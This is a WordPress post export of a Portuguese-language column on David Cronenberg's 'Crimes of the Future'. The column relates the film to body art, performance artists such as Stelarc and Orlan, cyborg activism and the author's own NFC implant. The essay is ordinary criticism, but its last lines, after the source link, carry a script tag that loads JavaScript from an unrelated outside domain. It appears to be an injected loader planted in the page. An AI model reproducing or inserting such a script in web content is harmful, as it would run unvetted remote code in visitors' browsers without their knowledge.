{"id":3191,"date":"1969-12-31T21:00:00","date_gmt":"1970-01-01T00:00:00","guid":{"rendered":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/cronenberg-provoca-a-body-art-e-o-biohacking\/"},"modified":"1969-12-31T21:00:00","modified_gmt":"1970-01-01T00:00:00","slug":"cronenberg-provoca-a-body-art-e-o-biohacking","status":"publish","type":"post","link":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/cronenberg-provoca-a-body-art-e-o-biohacking\/","title":{"rendered":"Cronenberg provoca a body art e o biohacking"},"content":{"rendered":"<p> <br \/>\n<\/p>\n<div>\n<p>Depois de quase uma d\u00e9cada de sil\u00eancio, David Cronenberg retorna ao cinema com &#8220;Crimes do Futuro&#8221; (Crimes of the Future). O t\u00edtulo \u00e9 curioso n\u00e3o apenas pelo significado literal que ele suscita, mas porque o diretor canadense j\u00e1 havia lan\u00e7ado em 1970 um curta de mesmo nome e que nada tem a ver com o longa estrelado por Viggo Mortensen, L\u00e9a Seydoux e Kristen Stewart.<\/p>\n<p>A refer\u00eancia ao passado, contudo, n\u00e3o fica s\u00f3 aqui. Na verdade, faz sentido afirmar que o <a href=\"https:\/\/www.uol.com.br\/splash\/filmes\/\">filme<\/a> \u00e9 uma metacolagem, ao apresentar uma esp\u00e9cie de &#8220;painel&#8221; de ideias e conceitos que se conectam com a pr\u00f3pria obra de Cronenberg e com o que est\u00e1 acontecendo no mundo (em especial no ambiente art\u00edstico).<\/p>\n<p>Neste novo filme, Cronenberg refor\u00e7a a sua chancela de mestre do body horror, t\u00edtulo que adquiriu com obras como &#8220;A Mosca&#8221; (The Fly), &#8220;Videodrome&#8221;, &#8220;ExistenZ&#8221; e mesmo a adapta\u00e7\u00e3o de &#8220;Almo\u00e7o Nu&#8221; (Naked Lunch, de William S. Burroughs).<\/p>\n<p>Enquanto seu filho Brandon segue os passos do pai em &#8220;Antiviral&#8221; e &#8220;Possessor&#8221;, David \u00e9 mais corajoso ao mexer em um vespeiro bem espec\u00edfico, sens\u00edvel e emergente, que \u00e9 o caso da body art e do biohacking.<\/p>\n<p>A body art, em si, n\u00e3o \u00e9 novidade. Trata-se de um tipo espec\u00edfico de arte perform\u00e1tica que se utiliza do corpo como plataforma n\u00e3o apenas no sentido de dar movimento e incorporar significados, mas de, f\u00edsica e biologicamente, ter o corpo como uma &#8220;tela em branco&#8221;. H\u00e1, portanto, conex\u00f5es evidentes entre a body art e a body modification, que inclui tatuagens e piercings, por exemplo.<\/p>\n<p>Enquanto modifica\u00e7\u00f5es corporais s\u00e3o pr\u00e1ticas culturais e art\u00edsticas presentes praticamente em toda a hist\u00f3ria da humanidade, a body art teve seu pontap\u00e9 inicial nos anos 1960 com os Acionistas Vienenses.<\/p>\n<p>Artistas como Hermann Nitsch, Otto M\u00fchl, G\u00fcnter Brus e Rudolf Schwarzkogler usavam o pr\u00f3prio corpo ou cad\u00e1veres animais como parte de suas instala\u00e7\u00f5es e performances que abordavam t\u00f3picos controversos e violentos. Faz parte da agenda da body art esse tipo de assunto, bem como quest\u00f5es de g\u00eanero, identidade e a rela\u00e7\u00e3o entre corpo e mente.<\/p>\n<p>Com o tempo, a body art chegou tamb\u00e9m na It\u00e1lia e na Fran\u00e7a, onde recebeu o nome de art corporel. Nos anos 1970, foi a vez de conhecer o trabalho de Marina Abramovic, at\u00e9 hoje celebrada pela performance &#8220;Rhythm 0&#8221;, na qual a artista dispunha de diferentes objetos que a audi\u00eancia poderia usar sobre ela. Ap\u00f3s seis horas de performance, Marina n\u00e3o s\u00f3 foi despida pelo p\u00fablico, como teve seu corpo marcado com batom e, finalmente, uma pessoa apontou o rev\u00f3lver contra sua cabe\u00e7a, desembocando em uma briga que encerrou a performance.<\/p>\n<p>Ainda que a obra de Marina possa parecer chocante a algumas pessoas, existem outros nomes na body art e na performance que v\u00e3o muito al\u00e9m no que diz respeito ao choque, \u00e0 viol\u00eancia e \u00e0 interfer\u00eancia em seus corpos. Por conta disso, \u00e9 comum tamb\u00e9m haver uma intersec\u00e7\u00e3o com nichos como BDSM (bondage e sadomasoquismo).<\/p>\n<p>J\u00e1 na \u00e9poca dos acionistas vienenses houve casos como Heinz Cibuka, que fez uma performance simulando automutila\u00e7\u00e3o genital, mas tamb\u00e9m podemos citar Ron Athey nessa intersec\u00e7\u00e3o entre body art, BDSM e body modification.<\/p>\n<p>Por isso, n\u00e3o \u00e9 de se surpreender que uma das frases de impacto do filme de Cronenberg tenha sido &#8220;cirurgia \u00e9 o novo sexo&#8221;.<\/p>\n<p>Em t\u00edtulos passados, o diretor j\u00e1 flertava com a rela\u00e7\u00e3o entre a muta\u00e7\u00e3o e a mutila\u00e7\u00e3o do corpo humano e o erotismo, como foi o caso de &#8220;Videodrome&#8221; e &#8220;Crash&#8221;.<\/p>\n<p><!-- inicio iframe youtube--><\/p>\n<p>Em &#8220;Crimes do Futuro&#8221;, somos convidados a visitar um futuro em que os humanos j\u00e1 n\u00e3o sentem mais dor e nem correm risco de sofrer infec\u00e7\u00f5es \u2014da\u00ed o motivo de cirurgias e mutila\u00e7\u00f5es serem feitas livremente, sem a menor preocupa\u00e7\u00e3o ass\u00e9ptica. Assim como no sadomasoquismo, a busca pelo prazer se mistura \u00e0 dor e, em um contexto onde ela n\u00e3o existe, conquist\u00e1-la se torna uma empreitada sin\u00f4nima ao <a href=\"https:\/\/www.uol.com.br\/universa\/noticias\/redacao\/2018\/10\/19\/orgasmo-12-dicas-para-ajudar-a-identificar-se-voce-teve-um.htm\">orgasmo<\/a>.<\/p>\n<p>Mas esse orgasmo n\u00e3o se d\u00e1 apenas em n\u00edvel er\u00f3tico ou mesmo pornogr\u00e1fico. Aqui retornamos \u00e0 ideia do orgasmo manifestada na arte sacra, nos \u00eaxtases dos santos: \u00e9 tanto sobre atingir o \u00e1pice do prazer quanto alcan\u00e7ar a ilumina\u00e7\u00e3o.<\/p>\n<p>N\u00e3o \u00e9 \u00e0 toa que performances de suspens\u00e3o possuem, justamente, esse tom meditativo: n\u00e3o \u00e9 sobre o sangue que escorre da ferida ou a dor que o performer sente, mas sim como esta possibilita que ele atinja um outro patamar de consci\u00eancia e de significado.<\/p>\n<p>Em &#8220;Crimes do Futuro&#8221;, Viggo Mortensen interpreta Saul Tenser, um artista que cultiva novos \u00f3rg\u00e3os dentro de seu pr\u00f3prio corpo como parte de sua performance. Se, por um lado, esse futuro \u00e9 ausente de dor f\u00edsica, isso fica irrelevante diante da trajet\u00f3ria desse protagonista que est\u00e1 sempre em um estado de sofrimento e debilita\u00e7\u00e3o.<\/p>\n<p> <!-- fim iframe youtube--><\/p>\n<p>Mas \u00e9 nesse mart\u00edrio em que se encontra sua genialidade que deveria ser, inclusive, premiada em um suposto concurso de beleza interna \u2014 uma refer\u00eancia a um breve di\u00e1logo travado no in\u00edcio de &#8220;G\u00eameos &#8211; M\u00f3rbida Semelhan\u00e7a&#8221; (Dead Ringers).<\/p>\n<p>Ali\u00e1s, esse filme tamb\u00e9m dirigido por Cronenberg reaparece em v\u00e1rios momentos, seja nos instrumentos usados para checar os \u00f3rg\u00e3os de Tenser ou ainda, arrisco, no uso de trocadilhos para nomear os protagonistas.<\/p>\n<p>Em &#8220;G\u00eameos&#8221;, Jeremy Irons interpreta os irm\u00e3os Mantle (que se l\u00ea &#8220;mental&#8221;, sin\u00f4nimo de louco); j\u00e1 em &#8220;Crimes do Futuro&#8221;, Mortensen \u00e9 Saul Tenser, que se l\u00ea &#8220;soul tenser&#8221;, da\u00ed uma poss\u00edvel refer\u00eancia a um &#8220;tensor da alma&#8221; \u2014um t\u00edtulo que faz jus \u00e0 rela\u00e7\u00e3o entre corpo e alma feita por Cronenberg em ambos os <a href=\"https:\/\/www.uol.com.br\/splash\/filmes\/\">filmes<\/a>.<\/p>\n<p>S\u00f3 que nem todo mundo realmente acredita que Tenser \u00e9 t\u00e3o genial assim. Em tempos p\u00f3s-virais em que adolescentes comem pastilhas de sab\u00e3o e pessoas morrem tirando selfie em pontos tur\u00edsticos, infligir dor a si mesmo e fazer coisas irracionais por performance (tanto enquanto ato quanto como conquista) n\u00e3o \u00e9 revolucion\u00e1rio.<\/p>\n<p>Nesse caso, o detetive (Welket Bungu\u00e9) que investiga Tenser chega a questionar se o artista \u00e9 mesmo genial, sen\u00e3o, o n\u00f3dulo que cresceu em sua barriga tamb\u00e9m poderia ser visto como uma obra de arte que seu corpo criou.<\/p>\n<p>Isso fica ainda mais evidente na cena em que vemos um homem com o corpo coberto por orelhas implantadas. Ele tem seus olhos e boca costurados ao vivo, enquanto um narrador contextualiza o ato como sendo um pedido para prestarmos mais aten\u00e7\u00e3o e ouvir mais.<\/p>\n<p>Com a for\u00e7a po\u00e9tica de um haikai de bot do Twitter, a performance continua com uma dan\u00e7a e, para uma cr\u00edtica ali presente, o performer era um dan\u00e7arino melhor do que um artista conceitual.<\/p>\n<p>Apesar de Cronenberg ter dito que n\u00e3o conhecia o trabalho de Stelarc <a href=\"https:\/\/www.artforum.com\/print\/202206\/amy-taubin-talks-with-david-cronenberg-about-crimes-of-the-future-88615\" target=\"_blank\" rel=\"noopener\">em uma entrevista<\/a>, o artista \u00e9, justamente, conhecido por suas experimenta\u00e7\u00f5es extremas com o corpo \u2014ao ponto de ter, literalmente, implantado uma orelha em seu antebra\u00e7o.<\/p>\n<p>\u00c0 primeira vista, &#8220;Crimes do Futuro&#8221; poderia ser conhecido como o filme que faz refer\u00eancia ao Stelarc, mas em vez de fazer uma apologia, Cronenberg ressalta qu\u00e3o raso o universo art\u00edstico e perform\u00e1tico pode ser.<\/p>\n<p>Essa cena, em espec\u00edfico, me fez lembrar de um incidente pessoal.<\/p>\n<p>Anos atr\u00e1s, antes de iniciar meu doutorado, apresentei um pr\u00e9-projeto da minha pesquisa a alguns professores que, \u00e0 \u00e9poca, pensei que poderiam ser meus orientadores. Quando trouxe \u00e0 tona o tema do transumanismo e como algumas pessoas como Martine Rothblatt estavam fazendo experimentos com rob\u00f3tica e mind uploading, ouvi que isso n\u00e3o existia e que era coisa de fic\u00e7\u00e3o cient\u00edfica.<\/p>\n<p>Para eles, transumanismo e ciborguismo eram dois conceitos que se reservavam \u00e0 arte perform\u00e1tica. Acreditava-se que as ideias defendidas por Ray Kurzweil ou Max Moore, por exemplo, eram manifestos art\u00edsticos tais como os feitos por nomes como o pr\u00f3prio Stelarc ou ent\u00e3o Orlan (que, ali\u00e1s, \u00e9 visivelmente mencionada quando a personagem de Seydoux p\u00f5e implantes na testa).<\/p>\n<p>Foi por isso que, naquela mesma oportunidade, fui apresentada a uma pessoa que os professores julgavam interessant\u00edssima e uma verdadeira ciborgue pelo fato de ter feito uma performance de dan\u00e7a usando roupa feita de placas-m\u00e3e.<\/p>\n<p>O impasse em &#8220;Crimes do Futuro&#8221; \u00e9 bem parecido com aquele que senti nessa ocasi\u00e3o.<\/p>\n<p>Tenser estava sendo investigado pelo detetive porque sua performance, que consiste em criar \u00f3rg\u00e3os, tinha caracter\u00edsticas semelhantes \u00e0 agenda de um grupo que estava manipulando a gen\u00e9tica humana para que as pessoas pudessem, ent\u00e3o, se alimentar de pl\u00e1stico e &#8220;resolver&#8221; o problema do excesso de pl\u00e1stico descartado no planeta.<\/p>\n<p>Anos atr\u00e1s, tive a oportunidade de acompanhar a performance dos artistas Neil Harbisson e Moon Ribas em S\u00e3o Paulo. Em uma semana, os fundadores do coletivo art\u00edstico Cyborg Foundation criaram, junto a uma equipe de especialistas, um implante dent\u00e1rio atrav\u00e9s do qual eles poderiam se comunicar remotamente por c\u00f3digo Morse.<\/p>\n<p>Mas apesar de sua obra poder facilmente se comunicar com os preceitos do transumanismo e da fic\u00e7\u00e3o cient\u00edfica, isso n\u00e3o se confirmou quando eu os <a href=\"https:\/\/medium.com\/startup-grind\/a-talk-with-cyborg-activists-neil-harbisson-and-moon-ribas-790845008629\">entrevistei mais tarde<\/a>.<\/p>\n<p>Nessa oportunidade, tive a chance de entender que os artistas estavam desenvolvendo sua pr\u00f3pria no\u00e7\u00e3o de ciborguismo e a busca pelo uso da tecnologia como uma forma de nos conectar mais ao mundo natural.<\/p>\n<p>Isso ficou evidente quando a dupla sugeriu o seguinte cen\u00e1rio: se consegu\u00edssemos enxergar no escuro, como alguns animais conseguem, talvez n\u00e3o precis\u00e1ssemos de tanta energia el\u00e9trica e, por consequ\u00eancia, n\u00e3o estar\u00edamos destruindo o planeta para poder ger\u00e1-la.<\/p>\n<p>Por isso, tanto seu implante (que traduz cores em sons) quanto o de Moon (que traduz a atividade s\u00edsmica na Terra e na Lua em vibra\u00e7\u00e3o nos seus tornozelos) s\u00e3o emula\u00e7\u00f5es de capacidades que outros animais possuem (morcegos e elefantes, por exemplo).<\/p>\n<p>A preocupa\u00e7\u00e3o da Cyborg Foundation era justamente a de usar tecnologia para conquistar um novo patamar da condi\u00e7\u00e3o humana, seguindo fiel ao sentido original da palavra ciborgue.<\/p>\n<p>Proposto nos anos 1960 por Maines e Maynes, o termo sugere o desenvolvimento de um organismo cibern\u00e9tico adaptado para sobreviver em ambientes in\u00f3spitos na explora\u00e7\u00e3o espacial.<\/p>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-24  crop-750x1 limit-crop  figure\" style=\"max-width:750px\" data-format=\"horizontal\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:750px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/parceiros\/19\/2022\/06\/23\/lea-seydoux-viggo-mortensen-kristen-stewart-no-filme-crimes-do-futuro-1655995685639_v2_750x1.jpg\" class=\"pinit-img\" alt=\"Crimes do Futuro - Divulga\u00e7\u00e3o\/Serendipity Point Films - Divulga\u00e7\u00e3o\/Serendipity Point Films\" data-crop=\"{&quot;xs&quot;:&quot;450x1&quot;,&quot;sm&quot;:&quot;750x1&quot;,&quot;md&quot;:&quot;750x1&quot;,&quot;lg&quot;:&quot;750x1&quot;}\" width=\"750\" height=\"1\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: 0.13333333333333333%\"\/><\/div>\n<\/div><figcaption class=\"container bottom-title\">\n<p>L\u00e9a Seydoux, Viggo Mortensen, Kristen Stewart no filme &#8220;Crimes do Futuro&#8221;<\/p>\n<p> <span>Imagem: Divulga\u00e7\u00e3o\/Serendipity Point Films<\/span><\/figcaption><\/figure>\n<\/div>\n<p>Em &#8220;Crimes do Futuro&#8221;, o grupo investigado cria uma forma n\u00e3o apenas de modificar o corpo humano, de modo a nos fazer capazes de processar pl\u00e1stico em nossa alimenta\u00e7\u00e3o, mas tamb\u00e9m como essa capacidade seria passada hereditariamente.<\/p>\n<p>\u00c9 nesse ponto que encontramos a intersec\u00e7\u00e3o entre o ciborgue perform\u00e1tico e o ativista biohacker: ambos utilizam a tecnologia para modificar seu corpo, mas por motivos e finalidades que s\u00e3o sutilmente diferentes.<\/p>\n<p>No filme, Tenser cria \u00f3rg\u00e3os que n\u00e3o s\u00e3o funcionais, mas simb\u00f3licos e que fazem parte de sua performance art\u00edstica. J\u00e1 o grupo investigado modifica a biologia humana de uma forma que poderia ser vista como assustadora ou controversa, mas que visa \u00e0 repara\u00e7\u00e3o de um problema ambiental.<\/p>\n<p>Aqui, de novo, me conecto ao questionamento.<\/p>\n<p>Em 2015, implantei um chip de NFC na minha m\u00e3o. Ele possui uma chave criptogr\u00e1fica que pode ser usada como uma &#8220;senha&#8221; para desbloquear qualquer dispositivo que possua NFC. Ou seja, eu n\u00e3o precisaria ter uma chave para abrir uma fechadura eletr\u00f4nica, apenas encostar minha m\u00e3o nela.<\/p>\n<p>Mas eu nunca realmente usei o implante a n\u00e3o ser quando estava em palestras, falando sobre o conceito de ciborgue e de transumanismo. Nessas oportunidades, ent\u00e3o, muita gente me perguntava por que eu havia implantado algo no meu corpo, se eu podia s\u00f3 usar um cart\u00e3o ou meu celular?<\/p>\n<p>Implantes de NFC s\u00e3o bem discretos, enquanto que outros dispositivos como a antena de Harbisson s\u00e3o mais evidentes \u2014ao ponto de que ele costuma sair de bon\u00e9 em p\u00fablico.<\/p>\n<p>Com o aplicativo Eyeborg, qualquer um consegue fazer o mesmo processo que seu implante faz, o que suscita a mesma pergunta: para que implantar algo no seu pr\u00f3prio cr\u00e2nio em vez de usar, de repente, um celular?<\/p>\n<p>Para muitos, faz mais sentido encontrar formas mais sustent\u00e1veis de produ\u00e7\u00e3o de energia el\u00e9trica do que, de repente, <a href=\"https:\/\/veja.abril.com.br\/ciencia\/experimento-faz-homem-enxergar-objeto-a-50-m-no-escuro\/\" target=\"_blank\" rel=\"noopener\">injetar uma subst\u00e2ncia que promove vis\u00e3o noturna tempor\u00e1ria<\/a>.<\/p>\n<p>Acontece que, na agenda biohacker e ciborgue, o corpo \u00e9 o meio e n\u00e3o o final. Enquanto alguns procedimentos s\u00e3o mais conceituais e at\u00e9 est\u00e9ticos, como poderia ser o caso do trabalho de Stelarc e Orlan, em outros casos h\u00e1 biohackers <a href=\"https:\/\/hackaday.com\/2021\/08\/23\/open-source-insulin-biohackers-aiming-for-distributed-production\/\" target=\"_blank\" rel=\"noopener\">fabricando insulina para diab\u00e9ticos<\/a> e <a href=\"https:\/\/www.vice.com\/en\/article\/gv5bqw\/queer-activist-launches-diy-gender-hormone-biohacking-project\" target=\"_blank\" rel=\"noopener\">horm\u00f4nios sexuais<\/a> para pessoas transg\u00eanero.<\/p>\n<p>&#8220;Crimes do Futuro&#8221; termina de forma aberta conforme Tenser se aproxima do grupo investigado e resolve passar pela mesma modifica\u00e7\u00e3o. H\u00e1, portanto, uma aproxima\u00e7\u00e3o entre a preocupa\u00e7\u00e3o art\u00edstica e est\u00e9tica com a funcionalidade pol\u00edtica e manifesta na modifica\u00e7\u00e3o corporal.<\/p>\n<p>Cronenberg n\u00e3o est\u00e1 necessariamente falando que a arte \u00e9 in\u00fatil se n\u00e3o tiver um prop\u00f3sito, porque arte, a princ\u00edpio, n\u00e3o \u00e9 para ser \u00fatil \u2014isso \u00e9 design. Por\u00e9m, ainda assim fica essa sugest\u00e3o por mais politiza\u00e7\u00e3o e a\u00e7\u00e3o.<\/p>\n<p>Fica ao gosto do fregu\u00eas se lhe apetece dan\u00e7ar com roupa de placa-m\u00e3e para falar do problema do lixo eletr\u00f4nico ou hackear seu corpo para processar os micropl\u00e1sticos que j\u00e1 estamos invariavelmente ingerindo.<\/p>\n<\/p><\/div>\n<p><br \/>\n<br \/><a href=\"https:\/\/www.uol.com.br\/tilt\/colunas\/lidia-zuin\/2022\/08\/13\/crimes-do-futuro-cronenberg-poe-em-xeque-a-body-art-e-o-biohacking.htm\">Source link <\/a><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Depois de quase uma d\u00e9cada de sil\u00eancio, David Cronenberg retorna ao cinema com &#8220;Crimes do Futuro&#8221; (Crimes of the Future). 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